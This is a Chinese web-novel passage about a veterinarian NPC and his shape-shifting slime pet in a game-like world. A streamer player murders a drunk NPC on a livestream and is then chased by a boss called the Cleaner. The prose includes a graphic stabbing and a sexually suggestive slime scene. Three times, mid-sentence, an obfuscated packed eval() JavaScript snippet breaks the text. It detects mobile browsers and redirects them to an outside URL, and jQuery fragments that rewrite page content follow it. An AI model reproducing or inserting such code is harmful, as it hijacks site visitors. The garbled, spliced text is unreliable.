结账的时候，老板和服务员对着桌子上一整桌干干净净的餐盘啧啧称奇，他们甚至都开始怀疑后厨究竟有没有做菜，最后还是厨师发了一次飙才作罢。 季琉忽视掉一餐馆的问号，他淡定地付了钱，然后在一群人崇拜的目光下走远。 走之前，季琉犹豫半晌，还是嘱托道： “餐盘还是消一下毒。” 老板摆摆手： “放心吧，靓仔，下次告诉我你用什么清洁剂哦～～” 季琉：“……” 抱着双肩包站在巷子口半晌，直到路过的电动车反射的阳光闪了一下眼睛，季琉才从长久的呆滞中醒来。 今天天气不错。 无风，大太阳，碧空如洗。 好久没有就这样沐浴在阳光下了。 季琉想。 之前因为药物的缘故，季琉总是呆在屋子里，从一个屋子到另一个屋子，整个人像是一朵蘑菇，阴郁地蹲在屋角发霉。 现在，无事一身轻，季琉感受着身上暖暖的温度，情不自禁伸了一个懒腰，喃喃自语道： “晒晒太阳也好。” 这么想着，季琉决定去自家小店看看。 于是，季琉转身，顺着马路边沿走着，只是走着走着…… 季琉抬起右手，抓握了一下。 他觉得，这种情况，应该遛一下狗。 既然史莱姆能变大变小，那它的变形能力……能不能变一只狗？ 季琉陷入了思考。 接下来的时间里，季琉慢慢吞吞地朝着自家小店的方向进发，速度堪比蜗牛，足足走了一个多小时，他才到自家小店。 奇怪，他的体力似乎变好了。 季琉默默地想着这个问题。 季琉的宠物小店很小，一个小小的诊疗室，外加一个洗澡室，屋里放了四个铁笼子做住院部就完了，是老门面房改造的。 而与季琉小店形成鲜明对比的，是他对面的一家大型连锁宠物医院，豪华装修，光看门面就是季琉小店的四个大。 那家宠物医院一年前刚开，里面医生也是个顶个的专业，学历什么的可比季琉厉害，开业后，不出半个月就成功抢走了季琉大半的客源。 现在季琉的客源只剩下社区里的老阿姨，小病还在季琉这里治，大病直接到对面治。 季琉倒是无所谓。 这家门店本来就是他的，没有租金，能养活自己就行，反正他都摆烂这么多年了。 把玻璃门上挂的锁打开后，季琉走进了自家小店。 午后的阳光正好透过玻璃照进来，温暖而明亮，空气中漂浮着暖暖的沐浴露香味。 “下午好，小米。” 季琉走到收银台的桌子旁，对着柜子上的一个仓鼠笼打了一个招呼。 里面的仓鼠抬起头，用剩下的那只独眼看了一眼季琉，继续咔嚓咔嚓啃玉米。 确定仓鼠的粮仓水仓都是满的后，季琉往后门走去，打开门，是一个小小的院子。 “老金？今天还要出去走走吗？” 季琉站在门口问道。 没一会儿功夫，隔壁那间小屋里传来声响，伴随着哼哧哼哧的声音，一个脸上都是白毛的金毛犬走了出来。 它的年纪很大。 仓鼠和这只金毛犬是季琉唯二的“常客”。 两个都是救助人救助的，但是没人愿意要又老又丑的，想着这两个小东西寿命不长，季琉当初一时心软就收留了它们。 老金毛很老了，走路都懒得走，平日里只喜欢趴着，遛弯也遛不了多久，于是季琉就把它放在了院子旁的小屋里生活。 金毛在季琉的注视下摇了摇尾巴，缓慢地走到季琉身边，抬起头看他。 它太老了，眼神安静沉稳，季琉总觉得金毛是个智者，当然，也可能是他错觉。 “还想出去玩玩吗？” 季琉摸了一把金毛的头，他忽然像是想到了什么，笑了一下，把双肩包打开，取出里面的史莱姆，放在了金毛的头上， “看，这是今天的礼物。” 金毛大大的瞳孔震惊。 史莱姆小小的豆豆眼震惊。 很明显，两个生物都对对方的存在感到惊讶。 “嗷呜！” 金毛试着甩了一下头，想把史莱姆给甩下来，可史莱姆揪住了金毛头上的毛，牢牢地粘在了金毛的头上，根本甩不下来。 头上顶着个水袋子的感受也不是不能忍，金毛见自己甩不下来也放弃了，直接趴在了季琉面前，哼哧一声，懒得动了。 史莱姆咕叽了一声，然后，缓缓变形，整个史莱姆如同融化的冰激凌一样，流淌了下来—— 季琉眼疾手快，上前戳了一下史莱姆： “我说过什么？我让你吃你才可以吃，这个不准吃，老金是你朋友，不是食物！” 史莱姆顿了一下，重新聚拢成球体，黏在金毛的头上，非常大声地对着季琉“噗叽”了一声，应该是在犟嘴。 见此情景，季琉一撸袖子，准备好好教导一番时，店里传来了声音： “季医生在吗？” 季琉：？ 这个时候还会有人找他？ 季琉只好回应了一声，稳住店里的客人后，季琉回头，看着院子里面的金毛和史莱姆。 视线在金毛和史莱姆之间来回好几次后，季琉蹲下‘身，对着趴在地上的金毛语重心长： “老金，照顾一下史莱姆，辛苦你了。” 金毛抬起头，用湿润的鼻尖碰了一下季琉的手。 “这就是答应了。” 季琉又快速地摸了摸金毛的嘴筒子，随后朝门内走去。 快速进入前面的诊疗室后，看见来人，季琉还是愣了一下。 “季医生，今天早上怎么没有开门？” 来人笑眯眯的，戴着黑框眼镜，长相斯文俊秀，穿着一身白色的制服，脚穿一双拖鞋。 他站在诊疗室的诊桌前，手边是一个巨大的航空箱，里面是不是传来刺耳的抓挠声。 “你是……方医生？” 季琉有些茫然。 方医生就是对面大型连锁宠物医院的所有人，据说也是医院里最好的医生。 现在方医生找他，在季琉看来，就是一个专业人士跑业余人士这里，季琉不明白为什么。 不过……季琉看了一眼方医生头顶。 那里有个血条。 还是带边框的血条。 血条上面显示8500/9000。 这说明方医生是个玩家。 奇怪，既然方医生的血条满格是9000，那发生了什么，让对方一下子掉了500的血？ “嗷嗷嗷嗷嗷！” 不等方医生回答，诊桌上的航空箱突然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15238742|166208||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 爆发出刺耳的叫声，紧接着整个航空箱“哗”的一声震动，跟里面装了电机一般。 方医生眼疾手快，“啪”的一声把航空箱按住，然后对着季琉露出一个扭曲的微笑： “季医生，这个小东西麻烦要在你这边住院，我那边……关不了它。” 季琉沉默地看着方医生缠得厚厚的右手。 刚才没看见。 原来被咬得这么惨啊。 “我的铁笼子能关？” 季琉回头看了一眼自己寒酸的住院部，表示疑惑。 “能，铁定能。” 方医生斩钉截铁道， “我看过了。” 在开业之前，方医生就注意到了对面的又小又旧的宠物诊所。 比起自家新开的全科宠物医院，季琉的真的太寒酸了。 出于对同行的一点同情，方医生故意拒绝了一部分客源。 是的，方医生是个玩家，还是个苦逼的，被收编的玩家。 这家宠物医院，对外是宠物医院，对内，是解决玩家们捡到的各类【宠物】的维修小店。 永远不要小看玩家们找死的本事。 方医生都不知道自己处理过多少危险品了。 还有多少个伪装成【宠物】的寄生物。 今天的有点复杂。 带【宠物】来医院的玩家被啃了半个手，他还傻呵呵地说要带潦草小狗来检查。 结果好消息是，刚放出笼子，主人口中只是【潦草小狗】的东西，啃了主人剩下一个半胳膊。 然后差点把主治医生给啃了。 方医生费了九牛二虎之力才把潦草小狗给抓住。 然而就算到了这个地步，玩家在地上蛄蛹得像条虫，还在哭嚎“不要杀掉他的小狗”。 方医生咬牙切齿，在最后检查结果出来前，他只能先把潦草小狗装箱。 问题是，装哪呢？ 宠物医院的笼子根本就不够潦草小狗造，既然这狗啃骨头跟剃头发一样快，他不敢保证自家笼子关得住。 于是，在一切不合理中，方医生想到了找npc对冲。 这不很好吗？ 对面有一个现成的。 在进季琉小店后，方医生还特意跑到季琉小店的铁笼子那里看词条，结果不看不知道，一看吓一跳—— 【物品名称：季琉的住院部。 汪汪汪，喵喵喵。 宝贝要乖哦～ 他不喜欢不听话的宝贝。 他喜欢听话的宝贝。 请尽快让他爱上你。 不然他会清理掉你。 功效：坚不可摧的牢笼，食用后扣减80%的血量。】 方医生：“……” 什么人会食用铁笼啊。 确定铁笼应该能装下潦草小狗后，方医生还是微微松了口气，但是见到季琉不怎么情愿的表情后，方医生一咬牙： “住院费一天500怎么样？先住四天，不用管它，只负责吃的和喝的。” 季琉：“嗯……” 方医生：“免责承诺书我都带来了，这是现金。” 季琉：“成交。” 方医生：“好，来这里签个字。” 季琉：“等等，免责书要原主人签字吧？” 方医生：“它主人签不了。” 季琉：“那可以按手印。” 方医生：“他两只手刚刚都没了。” 季琉：“……” 12. 第 12 章 方医生拿着航空箱，费了九牛二虎之力才把里面的小玩意儿怼进了季琉的铁笼子里。 季琉站在旁边，帮着方医生关了铁笼子的门，做完这些后，他透过铁栏杆往里看，终于见到了潦草小狗的真面目—— 一团……很难形容的东西。 它就像是谁用蘸满油的毛笔，随手往一张纸上一甩，进而形成的一大坨混杂着奇怪颜色的颜料坨。 能看得出底色是白的，但真的是太脏了，都炸毛了。 再仔细看一眼，勉强能看得出中间那团黑色的是眼睛鼻子和嘴巴，那嘴巴一咧，就是一排尖锐的牙齿，吭哧吭哧的。 颜料坨下面有四根短腿，又细又小，顽强地支撑着炸毛的身体。 “汪汪汪！” 见季琉靠近，里面的潦草小狗瞬间暴起，在铁笼子里迅速“转动”了起来，一边汪汪汪，一边飞快地进行360度无死角旋转，跟个配备了电机一样，整得整个铁笼子都震动了起来。 季琉下意识后退了一步，他看着铁笼子内部出现的抓痕和齿痕眼角抽搐，扭头问方医生： “这真的是狗吗？” 方医生义正言辞： “当然是了。” 说完，生怕季琉反悔，方医生露齿一笑，提起航空箱就跑： “四天后见！” 季琉看着身边白色身影一晃而过，有点愣神，随后反应过来，不自觉跟着出了门，对着方医生背影喊道： “方医生，你……” 方医生一听，跑得更快了，几下功夫就蹿进对面的宠物医院不见人影。 季琉看着路面上遗留的一只拖鞋无语凝噎。 至于吗？ 连拖鞋都不要了。 这下子傻子都知道铁笼子里的潦草小狗有问题了。 季琉摸着下巴想这个问题。 一个玩家，把一只狗，丢进一个普通npc家…… 季琉凭自己的游戏经验来说，一般情况下，结果有两种。 一种是故意想看npc笑话。这种情况下，那狗就是一个炸‘弹，搞不好会把npc吃掉，然后后续玩家会来把npc家席卷一空。 一种是玩家搞不定那狗，于是寄希望于npc，看能不能利用npc让狗升个级。 “我要是把这狗拿去丢进玩家中心会怎么样？” 季琉特别好奇。 但是鉴于方医生给了钱，季琉还是决定先养四天。 没有管街上的那只拖鞋，季琉走回了自家小店。 让季琉没想到的是，回到小店后，他看见金毛正蹲坐在铁笼子那里。 “老金？史莱姆呢？” 季琉问。 金毛扭头看向季琉，它对着季琉轻轻地叫了一声，然后用爪子拍了两下铁笼子。 “铁笼子里面？” 季琉很疑惑，他蹲下来，和金毛一同朝铁笼子看去—— 铁笼子里面一团糟。 水和吃的已经打翻了。 这不算什么，更糟糕的是，潦草小狗和史莱姆混为一体。 是的，找不到别的词来形容，就是两者混为一体。 潦草小狗被史莱姆吞了一小半身体，潦草的毛在半透明的史莱姆身体里面被消化了，露出了半个粉红色的屁股。 “嗷呜～吭哧吭哧～” 潦草小狗发出一声哀嚎，想要啃史莱姆一口，但是一口咬上去却跟咬上麦芽糖一样，拔嘴都不好拔出来。 史莱姆无视所有物理伤害，它分出一条条触手，尝试进一步啃完潦草小狗。 季琉站在铁笼子旁兴致勃勃地看了半天，眼看着史莱姆要啃潦草小狗的嘴，他才出声： “够了，史莱姆，别吃了。” 史莱姆吞噬的动作停了下来，但它没停嘴，两颗豆豆眼往上一翻，对着季琉传递出两个字： “有事？” 这时候老金毛嗷嗷呜呜地开始叫唤，它一边用特别可怜的声音叫唤，一边那头拱季琉的手。 季琉的注意力暂时被转移，他只能摸着金毛的头安抚： “哦哦哦，老金乖。” “嗷呜呜呜——” “嗯嗯嗯，知道了，它不会在我们这里待久的。” “呜呜呜——” “是的，我知道，它是个坏小狗，我们的老金是个好小狗。” 季琉听不懂金毛在说什么，但是他猜了个大概。 众所周知，金毛普遍喜欢吃醋，它讨厌狗喜欢人。 而这只潦草小狗很有可能是在老金路过铁笼子的时候，吓了老金一把。 大概。 季琉一边抚摸着金毛，一边瞧向铁笼子： “你要不先放过它？毕竟别人给了我1000，还有尾款没付呢。” 史莱姆不为所动，并且一口啃上了潦草小狗头顶。 潦草小狗痛失头毛。 “1000块能吃很多次小炒了，我想下次再点多点菜，你不要吗？” 季琉问。 史莱姆哼哼唧唧。 史莱姆放过了潦草小狗，顺滑地溜了出来。 季琉一把抓住史莱姆，他看着史莱姆体内还没消化完的毛，又看了一眼铁笼子里的潦草小狗—— 潦草小狗秃顶了。 潦草小狗露出了一个粉红色的屁股。 潦草小狗扭头看见了铁笼子里倒映出来的它的新形象。 潦草小狗愣了三秒后发出一声心碎的叫声，然后埋入笼子角自闭。 季琉沉默几秒，默默地拉上了铁笼子外面的布帘。 这种情况，还是给狗留点隐私吧。 “我以为你不会吃活物。” 季琉抱着史莱姆端详， “如果我刚刚不阻止的话，你真的准备吃掉它吗？” 史莱姆两颗豆豆眼浮上来，生动地表演了“鄙视”两字。 季琉挑了一下眉： “我不是说你吃东西得得到我的允许吗？” 史莱姆：“噗叽！” 一听就知道在犟嘴。 “好吧，这次算了，你是为了金毛。” 季琉自言自语道，晃了晃手里的史莱姆， “正当理由的话，我不会说什么。” 史莱姆沉默了一下，回道： “噗叽。” “难道不是的？” “噗叽。” “你什么时候能说话呢？老是噗叽噗叽的叫，我要不叫你【噗叽】吧。” “噗叽！” …… 把金毛放出来遛了一圈后，季琉就回家了。 今天一天他的三观被刷新，情绪也如同过山车一般忽上忽下，等晚上回到家后，季琉感到筋疲力尽。 洗了一个澡后，季琉就躺到了床上。 结果没想到，还没过几秒，史莱姆就自动地跳上了床。 季琉侧躺着身体，与枕头边的史莱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15238743|166208||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姆大眼瞪小眼，有些好笑： “为什么还跟着我？” 史莱姆黑色的豆豆眼倒映出季琉额头上的伤口，片刻后，它又叫了一声： “噗叽。” “难不成你不能离开我太远？” 季琉笑着戳了一下史莱姆的肚皮，问。 史莱姆没回答，它瞅着季琉没注意的那一瞬间，哗啦一下，顺着衣领的缝隙就流淌了下去。 略微冰冷的柔韧半流体顺着温软的皮肤往下，滑过紧实的肌□□壑，最后贴在了左边胸肌下方，冷冷的温度让旁边红色的一点瞬间立了起来。 季琉感觉头皮都炸了，他“嘶”了一声，连忙坐起来伸手进去，试图把史莱姆给撕下来，气急败坏： “坏狗！” 然而史莱姆并不愿意，它死死地黏住季琉的皮肤，还好奇地捏了一下旁边柔软的组织。 比起第一天这里一个空洞，这里温暖而充实的感觉，还是更好些。 只是这么一小处的感觉就这么好，史莱姆突然很好奇，如果它变大了很多，把这具身体整个都包裹起来，那会是什么感觉？ “你给我出来！” 季琉脸都红了，他猛地站起来，气急败坏地脱下上衣，想要把史莱姆撕下来。 因为情绪波动，平日里几乎是冷白色调的肌肤微微泛出了一点粉色，而呼吸的节奏使得身上的肌肉紧绷，越发显得修长了。 季琉虽说是不喜欢外出，但因为常年给各种猫猫狗狗洗澡，久而久之还是保持着很好的身材，只可惜本人不爱打扮，常年如同阴郁男鬼，没多少人注意这点。 现在让季琉感到恼火的是，他自认为自己力气还算大（毕竟要洗萨摩耶），可他还是无法把史莱姆撕下来。 这史莱姆似乎还挺得意，死死黏住他的皮肤的同时，还分出一条条小触手肆意游走，这里挠挠，那里摸摸。 “混蛋！” 季琉越发觉得身上黏糊糊的，脑子一抽，他做了一个后悔了许久的决定—— 他去了浴室。 季琉本来想用花洒，借着较大的水流，把身上的史莱姆冲下来的。 可是他忘了，史莱姆吸水膨胀。 史莱姆的确是被水一冲，就从季琉身上掉下来了。 但是它掉落在浴室的地面上后，迅速吸水膨胀了起来，几乎是眨眼间，它就把整个浴室的玻璃隔间给占了三分之一。 季琉没来得及逃走，他被史莱姆挤压着，下半身深深地陷在史莱姆半透明的身体里，动弹不得。 季琉第一次明白了什么叫作搬起石头砸自己的脚。 同时，他从心底感受到了来自史莱姆的情绪。 不怀好意。 下一秒，史莱姆继续膨胀，它一点点把季琉的睡衣给吃掉了，还故意把季琉挤到角落，如同玩娃娃一样，禁锢住季琉挣扎的四肢，然后，一下一下挤季琉。 不是很致命，就是恶作剧。 “混、混蛋！” 物理攻击完全无效，季琉又想不出办法摆脱史莱姆，他被史莱姆逼出了哭腔，自身的素质又骂不出什么脏话。 史莱姆忽然停下了动作，它静静地注视着季琉红了的眼角和水润润的黑色眼珠…… 突然觉得，对付季琉这种人，就得用这种招式。 谁叫季琉平日里老是耍它。 也不知道，季琉要是真哭出来，会是什么样。 史莱姆偷偷舔了一口。 13. 第 13 章 晚上十二点。 c市是个小城市，这意味着夜生活不多，晚上十二点的时候，大部分商家已经关门，整个城市陷入沉睡之中。 “哈哈哈，老子越狱成功了。” 一条小巷子里突然出现一抹荧黄色，紧接着，一个黄毛出现在路灯之下。 如果季琉在这里的话，他能认出来，这个黄毛，就是在公交车上突袭的人。 “妈的，谁知道袭击npc会蹲局子。” 黄毛一抹头发，他蹲在路灯之下，举着手机，一脸愤愤不平， “不是说好这是个游戏吗？搞那么真实干什么。” “怎么出来的？” 黄毛一字一句读出手机直播软件上的弹幕，随后冷冷一笑， “废了老子一个传送道具。” 说到这里，想起公交车上那几个npc，黄毛就再次感到脸疼，还有肉疼。 他没想到自己会被npc反击，更没想到自己还会因为npc报警而蹲局子。 蹲局子后，黄毛才发现自己游戏面板发生了变化，罪恶值蹦了出来，上面一个明晃晃的10。 越想越生气，再一想到自己上线还没24小时就直接丢了一个攻击道具还有辅助道具，黄毛就气得直哼哼。 作为一个新手主播，为了流量，黄毛好不容易才搞到内测资格，更是花了大价钱弄了几个道具，结果刚上线就丢了一半。 虽说节目效果不错，来直播间看他直播的人多了一半，但是比起他的损失来说，真的是九牛一毛。 【主播不去联盟登记吗？】 弹幕飘来这句话。 “去联盟多不好玩。” 黄毛露出一个不屑的表情， “联盟这不准做那不准做的……联盟发的手册能让你见识到奇怪的npc吗？” 不是所有npc都有血条。 但一般没血条的npc是不可交互的。 没血条的npc没有线索也没有剧情，如果骚扰他们会被报警，杀死他们会被抓进局子，而玩家身上罪恶值多了会被通缉，到时候所有npc会和玩家呈现敌对状态，这个号就算废了。 总之，收益和损失一对比，玩家们通常都对没有血条的npc没兴趣，并且敬而远之。 这本来是常识，如果黄毛在上线之前好好看看联盟发的手册，他就不会惊讶于公交车上npc没血条。 可惜，黄毛没看。 他还是在蹲局子没事干的时候，才看了手册两眼。 【所以，主播准备接下来干什么？】 弹幕问。 该做什么？ 黄毛眼珠子一转，思考这个问题。 这个游戏《蓝星online》并不是所有人都可以登录上线，它有一种奇怪的……选择标准。 不少人猜这款游戏还在内测中，但只要是玩家登录上线后，无不折服于它精致的建模。 不过，由于这游戏奇奇怪怪的bug很多，直播经常会掉线，同时直播up主也会就此销号，因此没多少玩家愿意直播。 而黄毛想红想太久了，他深知，在这个游戏只是直播并不能火，他得整活。 怎么玩游戏，能吸引更多的人看呢？ 答案就是不走寻常路。 如果有规则，那就要和游戏规则对着干。 游戏指导越是不让你做什么，你就去做什么。 “我研究了一下联盟的指导手册，你们发现没，手册总是说不要随便对npc下手。” 黄毛冷笑一声，说， “我偏不，老子就非要去对npc下手。” 【那主播准备抢*劫？】 “抢’劫多没意思，我准备砂人。” 黄毛咧嘴一笑，森森地说道。 此话一出，弹幕瞬间爆了。 有的弹幕在怂恿黄毛赶紧去，有的劝黄毛善良点，有的劝黄毛还是抢劫更好，总之，密密麻麻一片。 【c市好像有玩家已经这么干了，没意思。】 这一句淹没在一片弹幕中，但没人在意。 “你玩个游戏还在乎npc？” 黄毛挑眉，他啧了一声，摸了一下自己还红着的鼻子， “老子被npc打成这样，还不许我报复？” 懒得再跟人对线，黄毛把手机往口袋里一塞，就从巷子里走了出去。 他准备鲨人泄愤。 如果可以，他其实更愿意杀掉公交车上拿扫地机器人揍他的npc，可惜没时间。 半小时后，黄毛终于找到了他的目标—— 一个刚刚应酬完，喝醉酒的男人。 “老戴，你能行吗？” 出租车上，一个瘦子担忧地看着刚下车的胖子，胖子摇摇晃晃的，看上去摇摇欲坠，但每次他要倒下去的时候，又顽强挺住了。 “我，没事！” 胖子打了一个酒嗝，浑身酒气，脸上红光满面，笑呵呵的， “我能，走回去。” “行吧，到家给我说一声。” 见胖子坚持，瘦子摇摇头，只好同意了。 见同事走了，胖子摇摇晃晃往家那边走。 他醉得不轻，一路上走路都在打飘，要经过一条正在拆迁的巷子，里面杂物很多，灯光昏暗，附近也没什么住户。 真的是一个特别好的人选。 “这单，嗝，一定成了，嗝。” 胖子一边走，一边傻笑，他的脑子被酒精沉浸成一团浆糊，基本上无法思考，更无法注意到身边环境已经发生变化。 一个身影悄悄从角落里走了出来。 黄毛本想悄无声息地解决胖子的，结果跟了半天，他发现自己多虑了。 胖子醉得厉害，他完全沉浸在了自己的世界，走路的声音又重，根本就没有发现身后莫名其妙多了一个人。 看胖子如此反应迟钝，黄毛忽然觉得没什么意思，他用匕首比划了几下，觉得杀胖子可能比杀一头猪要简单。 “给他们看看。” 黄毛自言自语，他打开了手机，重新点开直播，手机对准了面前还在摇摇晃晃往前走的胖子。 【这里干到哪里了？】 【主播真的打算杀npc？】 【我赌主播不敢。】 见弹幕还有人在质疑，黄毛不爽，热血一上头，他二话不说，猛地朝前几步，然后朝着胖子厚墩墩的后背捅了好几刀。 手感……真奇怪。 黄毛拔出匕首，思考着这个问题。 锋锐的刀尖插入皮肤稍微有点阻力，但是一下子就突破了，他机械地捅了好几刀，最后一刀貌似卡在了npc的骨头上，拔出来有点吃力。 做完这一切后，黄毛后退了几步，继续拿着手机，对准了面前的npc： “看，这不杀了？” 【这个npc没血条，咋知道主播杀了。】 【npc咋不动？】 【主播不会作假吧，我都没看见血。】 弹幕开始七七八八的吵架。 然而下一秒，弹幕安静了。 醉醺醺的胖子感观迟钝，他还不知道自己被捅了，只觉得自己的后背突然像被什么东西蛰了一下，所以，他停下了脚步。 听到背后传来黄毛的声音，胖子才知道自己身后有人。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15238744|166208||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>而就在短短的那么几秒，胖子忽然感到一阵剧烈的疼痛，然后后背突然一片湿润。 “他出血了。” 黄毛拿着手机，说。 在弹幕的见证下，面前的胖子npc停下了脚步，刚刚还没什么后背突然出现几个红色血块，紧接着，红色的血液迅速从刀口喷涌而出，染红了胖子的整个后背。 胖子缓缓转过头，看向身后的黄毛，脸上还是茫然和不解，随即，他倒在地上，血液在他身下汇成一滩血泊，一声不吭。 夜风里传来血腥味。 【卧槽，主播真杀啊。】 【干嘛杀一个不交互的npc，浪费。】 【你们不觉得这个npc表情和动作很真实吗？主播怎么下得去手？】 【你们说，清道夫什么时候来？】 【不会吧，不是说有玩家连环砂人没事吗？】 【那个玩家明显聪明些，他到现在都没透露出他是谁，这个黄毛可是实名制上网，你说清道夫会不会找他？】 【对哦，这里还是主城区哦，清道夫重点监测区域，主播你往大海那边跑，试试游到海对面去吧。】 【哈哈哈，还以为是个聪明人呢，还是个傻x。】 “什么清道夫？” 黄毛看着弹幕，他挠了挠头，不解道。 【好好看■■手册——】 【清■■是■■——】 【我——你——】 【唯一■■飞■■逃离■■■机会——】 直播软件的画面一下子卡住了。 上面的弹幕突然出现不明乱码。 黄毛有点心慌，他拍了拍手机，以为只是手机没信号，可画面还在，所有弹幕变成了乱码。 “什么鬼。” 黄毛骂了一句脏话，他转身就朝巷子口跑去，直觉告诉他要迅速离开这里。 然而还是晚了。 没跑几步，黄毛当面撞上一个无形的屏障，撞得他通红的鼻子二次受伤。 “我操。” 黄毛捂着自己的鼻子后退几步，酸涩得眼泪直掉，即便如此，他还不忘破口大骂。 手机已经被撞掉到了地上，直播软件还在开启，摄像头面对着幽深的小巷，尽头是一片黑暗，胖子的尸体还在墙角，血液静静流淌。 “嗞——” 巷子里唯一的灯闪了几下。 黄毛吓了一跳，他转身看向巷子里的那盏灯，掏出了一把枪，色厉内荏： “出来！” 灯忽然又闪了一下。 等灯光再次正常亮起时，一道白色的身影就这样突兀出现在巷子中央。 那人是个男性，身形修长，白色短发，脸上戴着一张白色的面具。 他穿着一身类似军装的白色制服，腰间一条黑色的腰带，紧紧地束缚住腰身，手上戴着一双白色的手套，双手放在胸前，拿着一只黑色的警棍。 就这样悄无声息出现了。 在黑暗中如同一只……猫头鹰。 黄毛盯着面前人的白色面具，那张白色面具上什么都没有，只有黑洞洞的眼睛的部位，按理来说，黄毛不应该看到面前人有什么情绪。 可……黄毛总觉得，面前的东西，更像是什么玩意儿披着一张人皮。 不要直视，不要引起他的的注意。 快跑。 黄毛紧张地咽了一口唾沫，他不知道自己算不算得上遇到了游戏boss。 偷偷往那人头上看了一眼，黄毛终于看到了词条—— 【沉默寡言的清道夫】 【无名之人】 【血条：54600/65000】 14. 第 14 章 “嗡——嗞——” 电流发出的噪音响起。 黄毛收回自己的看向来人的视线，注意到了另外一件事。 这片区域发生了变化。 旁边的那个胖子尸体不见了。 除此之外，伴随着刺耳的电流声，巷子两边的墙壁还有那盏灯，开始闪现出奇怪的影子—— 层层叠叠的影子不断重叠出现，下一秒又重合在一起。 像是跨越了纬度，相同的物体出现在不同的图层里。 整个区域的东西都处在交叠和非交叠的状态，唯一轮廓清晰的，只有穿着白色制服的……人形“猫头鹰”。 “清道夫？” 黄毛努力忽视掉身上莫名奇妙的拉扯感，视线忍不住聚焦在面前的白色制服的人身上，喃喃地念出这个词语。 在黄毛脚边的手机清晰地录下了对面的身影，所有在屏幕另一边的玩家都沸腾了，无数人涌进直播间，直播间的人数飞速上涨，但是……没有任何的评论和弹幕，安安静静的，只有手机在勤勤恳恳录下眼前这一幕。 在黄毛发声后，前方的【清道夫】歪了歪头，拿着警棍的那只手一甩，“咔哒”，黑色的警棍延长伸展开来，最细的末端隐隐发出暗红色的光芒，周围的温度上升，空气扭曲。 这明显不是一个普通的攻击道具。 “卧槽。” 见到这一幕，黄毛小声地骂了一句。 虽说人们都在说，说是只要有血条，不论多诡异的东西都能干。 可真的面临这种情况的话，如何在自己血条只有boss血条十分之一、完全不清楚boss攻击方式的情况下，和boss对打时，不被他一击带走呢？ 黄毛心慌意乱，他开始担心自己的主播生涯就此结束，正准备掏出传送道具远离这块区域，可一扭头看见倒在地上的手机。 想红的欲望最后占了上风，黄毛一咬牙，对着手机摄像头摆出一个pose，一副大义凛然的模样，大声喊道： “算了，这次死了就死了，我来做第一个吃螃蟹的人，给大家看看清道夫的攻击模组！” 直播软件卡了一下，涌进来的人更多了。 思考了几秒，为了在死前表现得好看点，黄毛决定主动出击。 在【清道夫】未攻击之前，黄毛迅速掏出了之前买的rpg，眼疾手快地对着【清道夫】开了一炮。 “砰！” 由于两人距离过近，炮弹射出后在半空中飞行了没几秒就炸了开来，带出一片烟尘。 黄毛被巨大的冲击力给震退了几步，随后他惊讶地发现，这片烟尘并没有在小巷里弥漫，而是被隔断到了一个空间内。 黄毛注意到自己的脚边烟尘向后飘去，但是没过多久就像是碰上了透明隔板，往回飘； 但是向上飘散的烟尘却是畅通无阻，最后在深蓝色的夜空中缓缓消散。 黄毛看着上空，隐约觉得自己好像知道了点什么。 等烟尘散去后，黄毛立刻回头，谨慎地看向【清道夫】所在的方向—— 【清道夫】还是站在原地，他身上白色的制服并没有染上一丝灰烟，白色面具上的眼部黑洞洞的，森森地注视着黄毛。 【血条：54600/60000】 黄毛震惊地骂了一句： “艹，都不掉血吗？” 像是为了给黄毛回应，【清道夫】动了。 白色的猫头鹰旋转了头部，紧盯着猎物，下一秒，他迅速消失在原地，只剩下一道残影。 黄毛浑身一紧，直觉让他飞速地利用最后一个传送道具—— 不行，只能传送到两米开外的地方。 急中生智下，黄毛想起之前的弹幕，他飞快地把自己传送到了半空中，然后点击了最后一个道具，羽翅。 一对翅膀迅速在黄毛肩膀打开。 在那一瞬间，黄毛本以为自己能逃出升天，正准备长舒一口气，结果猛然往下坠了一下—— 他看见，自己的右手从胳膊肘向上的方向，正逐步碎成奇怪的电子方块，消失在了半空中。 正是因为右边胳膊的消失，导致他无法掌控好双翅，右边的羽翅无法正常挥动。 “干！” 黄毛浑身冒汗。 他刚才还是被【清道夫】击中了。 更让黄毛震惊的是，他的血条在同时下降。 但和身体消散比起来，血条下降实在是微不足道，这玩意儿好像是冲着“销号”来的。 黄毛越发觉得肉疼。 如果一个boss血条太长，玩家可以选择脱离战场； 可如果boss血条长，速度快，攻击高，那玩家可能刚准备跑路就被boss送去重生了。 意识到自己掏道具的功夫，都有可能被干掉，黄毛不再犹豫，硬生生扑棱着失去平衡的翅膀往上飞。 